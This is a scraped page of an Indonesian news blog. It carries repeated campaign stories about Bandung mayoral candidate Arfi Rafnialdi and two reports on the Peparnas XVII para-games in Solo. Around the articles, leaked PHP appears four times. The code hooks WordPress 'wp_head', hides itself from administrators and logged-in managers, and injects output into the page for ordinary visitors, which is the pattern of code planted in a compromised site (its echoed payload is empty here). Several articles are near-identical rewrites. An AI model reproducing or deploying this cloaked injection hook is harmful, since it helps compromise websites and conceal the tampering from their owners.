if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 248 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Pasangan Arfi-Yena Siap Optimalkan Bandung Command Center untuk Pengambilan Keputusan Lebih Tepat

    Bandung, Vista Nusantara – Pasangan calon nomor empat, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menyatakan komitmen kuat mereka untuk mengoptimalkan fungsi Bandung Command Center (BCC). Langkah ini bertujuan untuk mendukung pengambilan keputusan strategis dan taktis oleh Wali Kota Bandung, serta meningkatkan manfaat BCC bagi masyarakat, terutama dalam menyusun kebijakan yang lebih tepat sasaran.

    Kang Arfi menjelaskan pentingnya BCC sebagai alat bagi Wali Kota Bandung untuk merespons berbagai permasalahan kota dengan cepat dan akurat.

    “BCC menghimpun data secara online dan real-time melalui operatornya, yang memungkinkan wali kota untuk mengetahui permasalahan seperti kemacetan atau banjir tanpa harus menanyakan langsung. Data ini menjadi dasar penting untuk mengambil keputusan yang cepat dan tepat,” ungkap Kang Arfi setelah menghadiri acara Kepemimpinan Berhikmat untuk Bandung Bermartabat di Piset Square, Jalan Pelajar Pejuang, Kota Bandung, pada Sabtu sore, 5 Oktober 2024.

    Sebagai bagian dari visi dan misi mereka, Kang Arfi dan Teh Yena berencana memperluas peran BCC agar dapat memberikan pelayanan yang lebih baik kepada masyarakat. Ini mencakup upaya memodernisasi teknologi dan perangkat yang digunakan di BCC.

    “Kami akan memperbarui beberapa sektor dalam BCC agar lebih berguna bagi wali kota dalam mengambil keputusan yang terbaik, sesuai dengan kebutuhan masyarakat. Data yang dikumpulkan akan menjadi acuan utama dalam penyusunan kebijakan,” tambah Kang Arfi.

    Pasangan ini juga menegaskan bahwa pengambilan keputusan berbasis data merupakan inti dari komitmen mereka untuk mewujudkan visi Kota Bandung yang nyaman, inklusif, maju, dan berkelanjutan. Mereka berharap pengembangan BCC dapat menciptakan kehidupan yang lebih berkualitas bagi masyarakat Bandung. ***

  • Pasangan Calon Nomor Empat Optimalkan Bandung Command Center untuk Pengambilan Keputusan yang Lebih Tepat

    Bandung, Vista Nusantara – Pasangan calon nomor empat, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menyatakan komitmen mereka untuk mengoptimalkan fungsi Bandung Command Center (BCC) guna mendukung pengambilan keputusan strategis dan taktis oleh Wali Kota Bandung. Mereka berencana meningkatkan efektivitas BCC sehingga mampu memberikan manfaat yang lebih besar bagi masyarakat, terutama dalam penyusunan kebijakan yang lebih tepat sasaran.

    Dalam keterangannya, Kang Arfi menegaskan bahwa BCC merupakan alat penting bagi wali kota untuk menangani berbagai persoalan kota dengan cepat dan akurat.

    “BCC menghimpun data secara online dan real-time melalui operatornya, yang memungkinkan wali kota mengetahui permasalahan seperti kemacetan atau banjir tanpa harus menanyakan langsung. Data ini menjadi dasar penting bagi pengambilan keputusan yang cepat dan tepat,” jelas Kang Arfi setelah menghadiri acara Kepemimpinan Berhikmat untuk Bandung Bermartabat di Piset Square, Jalan Pelajar Pejuang, Kota Bandung, pada Sabtu sore, 5 Oktober 2024.

    Sebagai bagian dari visi dan misi mereka, Kang Arfi dan Teh Yena juga berencana memperluas fungsi BCC agar mampu memberikan pelayanan yang lebih baik kepada masyarakat, termasuk modernisasi teknologi dan perangkat yang digunakan.

    “Kami akan memperbarui beberapa sektor dalam BCC agar lebih berguna bagi wali kota dalam mengambil keputusan yang terbaik, sesuai dengan kebutuhan masyarakat. Data yang terkumpul akan menjadi acuan utama dalam pembuatan kebijakan,” tambah Kang Arfi.

    Pasangan ini menekankan pentingnya pengambilan keputusan yang berbasis data sebagai bagian dari komitmen mereka untuk mewujudkan visi Kota Bandung yang nyaman, inklusif, maju, dan berkelanjutan. Dengan pengembangan BCC, mereka berharap dapat menciptakan kehidupan yang lebih berkualitas bagi masyarakat Bandung. ***

  • Pengembangan Bandung Command Center (BCC) Ditargetkan Mendukung Pengambilan Keputusan Strategis

    Bandung, Vista Nusantara – Pasangan calon nomor empat, Arfi Rafnialdi dan Yena Iskandar Ma’soem, berkomitmen untuk mengoptimalkan fungsi Bandung Command Center (BCC) guna mendukung pengambilan keputusan strategis dan taktis oleh Wali Kota Bandung. Mereka berencana meningkatkan efektivitas BCC agar semakin bermanfaat bagi masyarakat, dengan penyusunan kebijakan yang lebih tepat sasaran.

    Kang Arfi, dalam pernyataannya, menjelaskan bahwa BCC merupakan alat penting bagi wali kota dalam menangani berbagai persoalan kota dengan cepat dan akurat.

    “BCC menghimpun data secara online dan real-time melalui operatornya, yang memungkinkan wali kota mengetahui berbagai permasalahan, seperti kemacetan atau banjir, tanpa harus menanyakan langsung. Data ini memberikan dasar bagi pengambilan tindakan yang cepat dan akurat,” ujar Kang Arfi seusai menghadiri acara Kepemimpinan Berhikmat untuk Bandung Bermartabat di Piset Square, Jalan Pelajar Pejuang, Kota Bandung, pada Sabtu sore, 5 Oktober 2024.

    Sebagai bagian dari visi dan misinya, Kang Arfi dan Teh Yena berencana memperluas fungsi BCC agar mampu memberikan pelayanan yang lebih baik kepada masyarakat, termasuk dengan memodernisasi teknologi dan perangkat yang digunakan.

    “Kami berkomitmen memperbarui beberapa sektor BCC agar lebih berguna dalam mendukung wali kota mengambil keputusan yang terbaik dan sesuai dengan kebutuhan masyarakat. Data yang dikumpulkan akan dijadikan referensi utama dalam menyusun kebijakan,” tambah Kang Arfi.

    Pengambilan keputusan berbasis data merupakan inti dari komitmen pasangan ini untuk mewujudkan visi mereka bagi Kota Bandung yang nyaman, inklusif, maju, dan berkelanjutan. Dengan pengembangan BCC, mereka berharap mampu mendukung kehidupan masyarakat yang lebih berkualitas. ***

  • Sumut Bidik Medali Emas di Para Renang Peparnas XVII Solo

    VISTA NUSANTARA — Sumatera Utara bertekad mempertahankan tradisi medali emas dari cabang olahraga renang di Pekan Paralimpik Nasional (Peparnas) XVII, Solo, Jawa Tengah, dengan memasang target satu medali emas.


    Pelatih para renang Sumut, Brian Howard, mengatakan peluang medali emas sangat terbuka lebar, apalagi tiga atlet Sumut menunjukkan progres baik selama persiapan di daerah.

    “Progres anak-anak sampai tiba di Solo sampai sekarang masih bagus perkembangannya. Tidak ada yang cedera dan saya minta anak-anak menjaga kesehatan sampai jelang perlombaan,” katanya di Solo, Sabtu.

    Meski harus kehilangan Chandra yang merupakan peraih emas Peparnas 2021 Papua, namun Sumut masih punya atlet penerus. Seperti Alrian yang akan bermain di nomor gaya dada S8 putra, juga punya kans besar medali emas.

    “S8 peluang sangat besar di nomor 200 meter ganti, dan 50 dan 100 meter gaya dada. Kalau Fadli kami optimis juga. Mudah-mudahan bisa emas di nomor gaya punggung juga. Termasuk 50 dan 100 meter gaya kupu-kupu,” kata Brian.

    Begitu juga di nomor Low Vision S13 putri, atlet muda Yecikarani Clarita juga bakal menjadi kejutan. Atlet yang masih berusia 14 tahun ini, memiliki limit waktu yang baik selama latihan di daerah.

    “Di Low Vision, Yecika akan turun di nomor 50 dan 100 meter gaya dada dan 100 gaya punggung. Saingan pasti banyak. Kita lihat nanti, karena kita masih belum tahu juga kekuatan lawan-lawan dari provinsi lain,” ujarnya.

    Sementara, Fadli Ramadhan mengaku dalam kondisi prima dan siap berlomba untuk memberikan medali emas. Meski akan tampil di Peparnas perdana, atlet asal Kabupaten Serdang Bedagai ini sudah nyaman dengan lintasan kolam.

    “Kita gak mau pulang ke Medan dengan tangan kosong. Target pasti emas. Kita usaha maksimal dan berdoa terus. Kalau hasil, baru serahkan kepada Tuhan,” katanya.

    Sedangkan Yecikarani didampingi Alrian juga memiliki optimis besar bisa mewujudkan medali emas. Menurut Cika, lawan terberat bukanlah atlet dari daerah lain, justru kepercayaan diri sendiri.

    “Doakan, semoga Cika bisa memberikan prestasi untuk NPC Sumut. Kita sebagai atlet hanya bisa berusaha dengan keras dan berdoa,” ucap Cika.

    Pada Peparnas 2024, cabor para renang Sumut diperkuat tiga atlet debutan. Mereka yakni Alrian Herlambang (tuna daksa S8), Fadli Ramadhan (tuna daksa S6), dan Yecikarani Clarita Situmorang (Low Vision S13).***
  • Ribuan Atlet Jalani Klasifikasi di Peparnas XVII Solo

    VISTA NUSANTARA — Ribuan atlet menjalani klasifikasi sebelum bertanding dalam Pekan Paralimpiade Nasional (Peparnas) Solo 2024 yang akan berlangsung mulai 6 hingga 13 Oktober.


    Sekretaris Pelaksana PB Peparnas XVII Rima Ferdianto di Solo, Sabtu, mengatakan proses klasifikasi dimulai sejak 3 hingga 5 Oktober.

    Ia menjelaskan klasifikasi tersebut bertujuan untuk menentukan derajat disabilitas setiap atlet.

    “Atlet yang derajat keparahannya rendah tidak bisa bertanding dengan atlet yang derajat keparahannya lebih tinggi,” katanya.

    Ia mencontohkan atlet kursi roda yang disabilitasnya akibat polio tidak bisa bertanding melawan atlet yang diakibatkan oleh paraplegia dan tetraplegia.

    Ia menuturkan klasifikasi bertujuan agar pertandingan memenuhi azas keadilan.

    Ia menjelaskan terdapat empat hambatan yang diklasifikasikan di masing-masing cabang olahraga, yakni hambatan fisik, hambatan intelektual, hambatan pendengaran, dan hambatan penglihatan.

    Menurut dia, dari 3.049 atlet yang akan berlaga dalam Peparnas 2024, tidak seluruhnya harus menjalani klasifikasi.

    Ia mengatakan terdapat ratusan atlet yang masuk dalam kategori atlet elite yang tidak perlu melalui klasifikasi karena telah mengantongi kartu klasifikasi internasional.

    Peparnas 2024 mempertandingkan 20 cabang olahraga, yakni para panahan, para atletik, para bulu tangkis, boccia, para catur, para balap sepeda, sepak bola cerebral palsy, para tenis meja, judo tunanetra, para angkat berat, para menembak, para renang, para taekwondo, voli duduk, tenpin bowling, anggar kursi roda, tenis kursi roda, serta para e-sport, dan basket kursi roda yang berstatus ekshibisi.***
  • Dari Pasar Gegerkalong, Kang Arfi Dengarkan Keluhan Pedagang


    Bandung, Vista Nusantara – Calon Wali Kota Bandung Arfi Rafnialdi blusukan dan menyapa warga di wilayah Gegerkalong Girang, Gegerkalong Tengah, Gegerkalong Hilir, Jumat (4/10/2024). Lantaran pernah tinggal di wilayah Gegerkalong Hilir, calon wali kota yang berpasangan dengan Yena Iskandar Ma’soem itu menyapa warga sekaligus bernostalgia. 

    Kang Arfi menyampaikan, tinggal di rumah neneknya, Gegerkalong Hilir semasa SMA dan kuliah. Calon Wali Kota Bandung dengan nomor urut 4 itu familier dengan jalan dan wilayah Gegerkalong. 

    “Ketika masih SMA, kerap main (olahraga) basket di kompleks KPAD Gegerkalong, serta ikut pengajian di Daaurit Tauhiid. Lantaran belum punya kendaraan, saya berjalan kaki dari rumah nenek ke kompleks KPAD atau Daarut Tauhiid, lewat Jalan Gegerkalong Tengah. Tentu, begitu familier dengan jalan dan wilayah di sini,” tutur Kang Arfi pada sela-sela blusukan di wilayah Gegerkalong. 

    Selain menyapa warga, Kang Arfi mengadakan kegiatan Jumat berkah di wilayah setempat. Kang Arfi pun bersilaturahmi dan menengok seorang warga Gegerkalong yang mengalami sakit tumor otak, dan takziah ke keluarga tokoh. 

    Kang Arfi melanjutkan agenda dengan bersilaturahmi ke para pedagang di Pasar Gegerkalong, Jalan Gegerkalong Tengah. Saat silaturahmi itu, Kang Arfi mendengar keluhan pedagang perihal kenaikan tarif. 

    Menurut pengakuan pedagang, tarif itu berkenaan dengan tempat berjualan. Menanggapi keluhan para pedagang, Kang Arfi menyampaikan, kualitas pelayanan dari Perumda Pasar Juara merupakan hal paling utama dalam hal pungutan tarif atau iuran tempat berdagang. 

    “Hal yang mesti menjadi bahan evaluasi, yakni kualitas layanan mesti sepadan dengan tarif pungutan. Ketika Perumda Pasar Juara mampu memberikan layanan prima, seperti kelengkapan sarana dan prasarana, kebersihan terpelihara, fasilitas lengkap, tampaknya pedagang tak akan keberatan membayar (tarif),” ucap Kang Arfi.

    Bagaimana pun, kata Kang Arfi, pedagang sangat memerlukan situasi berjualan aman dan nyaman, serta beroleh sarana dan prasarana yang menunjang untuk meraih penghasilan optimal. Renovasi pasar akan menjadi langkah yang baik untuk meningkatan layanan bagi pedagang. 

    Pada sisi lain, menurut Kang Arfi, kebersihan yang terpelihara, serta sarana dan prasarana pasar memadai menjadi daya tarik masyarakat untuk berbelanja. “Pedagang maupun konsumen (masyarakat) sama-sama nyaman bertransaksi di pasar,” ucap Kang Arfi. 

    Salah seorang pedagang di Pasar Gegerkalong, Dani mengaku keberatan dengan rencana kenaikan tarif tempat berjualan. Menurut dia, tarif yang akan berlaku nanti sangat memberatkan bagi pedagang. 

    “Bahkan, tempat berjualan yang sedang tak dipakai pun tetap ditarik pungutan. Kami keberatan dengan rencana pemberlakuan tarif itu,” ucap dia.*

  • Kunjungi Pasar Gegerkalong, Kang Arfi Serius Tampung Keluhan Pedagang


    Bandung, Vista Nusantara – Calon Wali Kota Bandung Arfi Rafnialdi blusukan dan menyapa warga di wilayah Gegerkalong Girang, Gegerkalong Tengah, Gegerkalong Hilir, Jumat (4/10/2024). Lantaran pernah tinggal di wilayah Gegerkalong Hilir, calon wali kota yang berpasangan dengan Yena Iskandar Ma’soem itu menyapa warga sekaligus bernostalgia. 

    Kang Arfi menyampaikan, tinggal di rumah neneknya, Gegerkalong Hilir semasa SMA dan kuliah. Calon Wali Kota Bandung dengan nomor urut 4 itu familier dengan jalan dan wilayah Gegerkalong. 

    “Ketika masih SMA, kerap main (olahraga) basket di kompleks KPAD Gegerkalong, serta ikut pengajian di Daaurit Tauhiid. Lantaran belum punya kendaraan, saya berjalan kaki dari rumah nenek ke kompleks KPAD atau Daarut Tauhiid, lewat Jalan Gegerkalong Tengah. Tentu, begitu familier dengan jalan dan wilayah di sini,” tutur Kang Arfi pada sela-sela blusukan di wilayah Gegerkalong. 

    Selain menyapa warga, Kang Arfi mengadakan kegiatan Jumat berkah di wilayah setempat. Kang Arfi pun bersilaturahmi dan menengok seorang warga Gegerkalong yang mengalami sakit tumor otak, dan takziah ke keluarga tokoh. 

    Kang Arfi melanjutkan agenda dengan bersilaturahmi ke para pedagang di Pasar Gegerkalong, Jalan Gegerkalong Tengah. Saat silaturahmi itu, Kang Arfi mendengar keluhan pedagang perihal kenaikan tarif. 

    Menurut pengakuan pedagang, tarif itu berkenaan dengan tempat berjualan. Menanggapi keluhan para pedagang, Kang Arfi menyampaikan, kualitas pelayanan dari Perumda Pasar Juara merupakan hal paling utama dalam hal pungutan tarif atau iuran tempat berdagang. 

    “Hal yang mesti menjadi bahan evaluasi, yakni kualitas layanan mesti sepadan dengan tarif pungutan. Ketika Perumda Pasar Juara mampu memberikan layanan prima, seperti kelengkapan sarana dan prasarana, kebersihan terpelihara, fasilitas lengkap, tampaknya pedagang tak akan keberatan membayar (tarif),” ucap Kang Arfi.

    Bagaimana pun, kata Kang Arfi, pedagang sangat memerlukan situasi berjualan aman dan nyaman, serta beroleh sarana dan prasarana yang menunjang untuk meraih penghasilan optimal. Renovasi pasar akan menjadi langkah yang baik untuk meningkatan layanan bagi pedagang. 

    Pada sisi lain, menurut Kang Arfi, kebersihan yang terpelihara, serta sarana dan prasarana pasar memadai menjadi daya tarik masyarakat untuk berbelanja. “Pedagang maupun konsumen (masyarakat) sama-sama nyaman bertransaksi di pasar,” ucap Kang Arfi. 

    Salah seorang pedagang di Pasar Gegerkalong, Dani mengaku keberatan dengan rencana kenaikan tarif tempat berjualan. Menurut dia, tarif yang akan berlaku nanti sangat memberatkan bagi pedagang. 

    “Bahkan, tempat berjualan yang sedang tak dipakai pun tetap ditarik pungutan. Kami keberatan dengan rencana pemberlakuan tarif itu,” ucap dia.***

  • Dialog Bersama Pedagang Gegerkalong, Kang Arfi Tampung Aspirasi


    Bandung, Vista Nusantara – Calon Wali Kota Bandung, Arfi Rafnialdi, melakukan blusukan ke wilayah Gegerkalong pada Jumat, 4 Oktober 2024. Dalam kunjungannya, Kang Arfi menyapa warga dan berbagi kenangan masa kecilnya, ketika ia tinggal bersama neneknya di Gegerkalong Hilir. Ia mengingat pengalaman bermain basket dan mengikuti pengajian di Daarut Tauhiid, yang membuatnya sangat akrab dengan lingkungan tersebut.

    Selain bersilaturahmi, Kang Arfi juga melaksanakan kegiatan sosial **Jumat Berkah**, di mana ia mengunjungi seorang warga yang sedang berjuang melawan tumor otak dan menyampaikan rasa duka cita kepada keluarga tokoh masyarakat setempat yang telah berpulang.

    Kunjungan berlanjut ke Pasar Gegerkalong, di mana Kang Arfi mendengarkan keluhan para pedagang terkait kenaikan tarif tempat berjualan. Mereka mengungkapkan bahwa tarif yang meningkat sangat memberatkan, terutama karena beberapa tempat yang tidak digunakan tetap dikenai pungutan.

    Menanggapi keluhan tersebut, Kang Arfi menekankan pentingnya evaluasi layanan dari Perumda Pasar Juara. Ia percaya bahwa tarif pungutan harus sebanding dengan kualitas layanan yang diberikan. “Jika pasar dikelola dengan baik, seperti kebersihan dan fasilitas yang memadai, para pedagang pasti akan lebih menerima tarif yang berlaku,” ujarnya.

    Kang Arfi juga menekankan bahwa pasar yang bersih dan aman akan meningkatkan daya tarik bagi konsumen, yang pada akhirnya juga menguntungkan pedagang. Ia berkomitmen untuk menindaklanjuti keluhan para pedagang dan mencari solusi terbaik untuk meningkatkan kesejahteraan mereka.

    Salah satu pedagang, Dani, mengungkapkan kekhawatirannya mengenai tarif baru yang dianggap memberatkan. Kang Arfi berjanji akan memperhatikan masalah ini dan berupaya mencari solusi yang tepat demi kesejahteraan para pedagang di Pasar Gegerkalong.

  • Kang Arfi Sapa Pedagang Gegerkalong, Serap Masukan dan Keluh Kesah


    Bandung, Vista Nusantara – Calon Wali Kota Bandung, Arfi Rafnialdi, melakukan blusukan ke wilayah Gegerkalong pada Jumat, 4 Oktober 2024. Dalam kunjungannya, Kang Arfi menyapa warga dan berbagi kenangan masa kecilnya, ketika ia tinggal bersama neneknya di Gegerkalong Hilir. Ia mengingat pengalaman bermain basket dan mengikuti pengajian di Daarut Tauhiid, yang membuatnya sangat akrab dengan lingkungan tersebut.

    Selain bersilaturahmi, Kang Arfi juga melaksanakan kegiatan sosial **Jumat Berkah**, di mana ia mengunjungi seorang warga yang sedang berjuang melawan tumor otak dan menyampaikan rasa duka cita kepada keluarga tokoh masyarakat setempat yang telah berpulang.

    Kunjungan berlanjut ke Pasar Gegerkalong, di mana Kang Arfi mendengarkan keluhan para pedagang terkait kenaikan tarif tempat berjualan. Mereka mengungkapkan bahwa tarif yang meningkat sangat memberatkan, terutama karena beberapa tempat yang tidak digunakan tetap dikenai pungutan.

    Menanggapi keluhan tersebut, Kang Arfi menekankan pentingnya evaluasi layanan dari Perumda Pasar Juara. Ia percaya bahwa tarif pungutan harus sebanding dengan kualitas layanan yang diberikan. “Jika pasar dikelola dengan baik, seperti kebersihan dan fasilitas yang memadai, para pedagang pasti akan lebih menerima tarif yang berlaku,” ujarnya.

    Kang Arfi juga menekankan bahwa pasar yang bersih dan aman akan meningkatkan daya tarik bagi konsumen, yang pada akhirnya juga menguntungkan pedagang. Ia berkomitmen untuk menindaklanjuti keluhan para pedagang dan mencari solusi terbaik untuk meningkatkan kesejahteraan mereka.

    Salah satu pedagang, Dani, mengungkapkan kekhawatirannya mengenai tarif baru yang dianggap memberatkan. Kang Arfi berjanji akan memperhatikan masalah ini dan berupaya mencari solusi yang tepat demi kesejahteraan para pedagang di Pasar Gegerkalong.

  • Calon Wali Kota Bandung Arfi Rafnialdi Blusukan di Gegerkalong, Dengarkan Aspirasi Warga dan Pedagang


    Bandung, Vista Nusantara – Calon Wali Kota Bandung, Arfi Rafnialdi, melakukan blusukan dan menyapa warga di wilayah Gegerkalong Girang, Gegerkalong Tengah, dan Gegerkalong Hilir pada Jumat (4/10/2024). Dalam kunjungannya, Kang Arfi, sapaan akrabnya, tak hanya menyambangi warga tetapi juga bernostalgia, mengingat dirinya pernah tinggal di wilayah Gegerkalong Hilir semasa SMA dan kuliah. 

    Arfi Rafnialdi, yang berpasangan dengan Yena Iskandar Ma’soem dalam Pemilihan Wali Kota Bandung dengan nomor urut 4, mengenang masa-masa tinggal bersama neneknya di Gegerkalong Hilir. Ia mengaku sangat familiar dengan wilayah ini.

    “Saat SMA, saya sering bermain basket di kompleks KPAD Gegerkalong, dan ikut pengajian di Daarut Tauhiid. Karena belum punya kendaraan saat itu, saya sering berjalan kaki melewati Jalan Gegerkalong Tengah untuk menuju ke sana,” ungkap Kang Arfi saat ditemui di sela-sela kunjungannya.

    Dalam kunjungan kali ini, selain menyapa warga, Kang Arfi juga menggelar kegiatan sosial **Jumat Berkah**. Ia bersilaturahmi dengan seorang warga yang tengah berjuang melawan penyakit tumor otak, dan menyempatkan diri takziah ke rumah keluarga seorang tokoh masyarakat setempat.

    Selanjutnya, Kang Arfi melanjutkan blusukannya dengan mengunjungi para pedagang di Pasar Gegerkalong di Jalan Gegerkalong Tengah. Saat bersilaturahmi dengan para pedagang, Kang Arfi menerima keluhan mengenai kenaikan tarif tempat berjualan yang dirasakan memberatkan. 

    Para pedagang menyampaikan bahwa kenaikan tarif tersebut memberatkan, terutama karena beberapa tempat berjualan yang tidak digunakan pun tetap dikenai pungutan.

    Menanggapi keluhan ini, Kang Arfi menekankan pentingnya peningkatan kualitas layanan dari Perumda Pasar Juara yang mengelola pasar tersebut. Menurutnya, tarif pungutan harus sepadan dengan layanan yang diberikan. 

    “Hal yang perlu dievaluasi adalah kualitas layanan. Jika Perumda Pasar Juara mampu memberikan pelayanan prima, seperti menjaga kebersihan, menyediakan fasilitas yang memadai, dan memperbaiki sarana prasarana, para pedagang pasti tidak akan keberatan membayar tarif,” kata Kang Arfi.

    Ia juga menambahkan bahwa kondisi pasar yang aman, nyaman, dan memiliki fasilitas yang lengkap adalah kunci untuk meningkatkan penghasilan para pedagang. Renovasi pasar menjadi salah satu langkah penting yang akan mendukung terciptanya suasana berjualan yang lebih baik bagi pedagang.

    Selain itu, Kang Arfi juga menyoroti bahwa pasar yang bersih dan fasilitas yang memadai akan menjadi daya tarik bagi masyarakat untuk berbelanja. “Pedagang dan konsumen sama-sama diuntungkan jika pasar terjaga dengan baik,” pungkasnya.

    Salah satu pedagang di Pasar Gegerkalong, Dani, mengungkapkan kekhawatirannya terkait kenaikan tarif tersebut. “Tarif yang akan diberlakukan nanti sangat memberatkan kami, bahkan tempat yang tidak digunakan pun tetap dikenai pungutan,” keluh Dani.

    Kang Arfi berjanji akan menindaklanjuti keluhan ini dan mencari solusi terbaik untuk meningkatkan kesejahteraan para pedagang di Pasar Gegerkalong.***

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);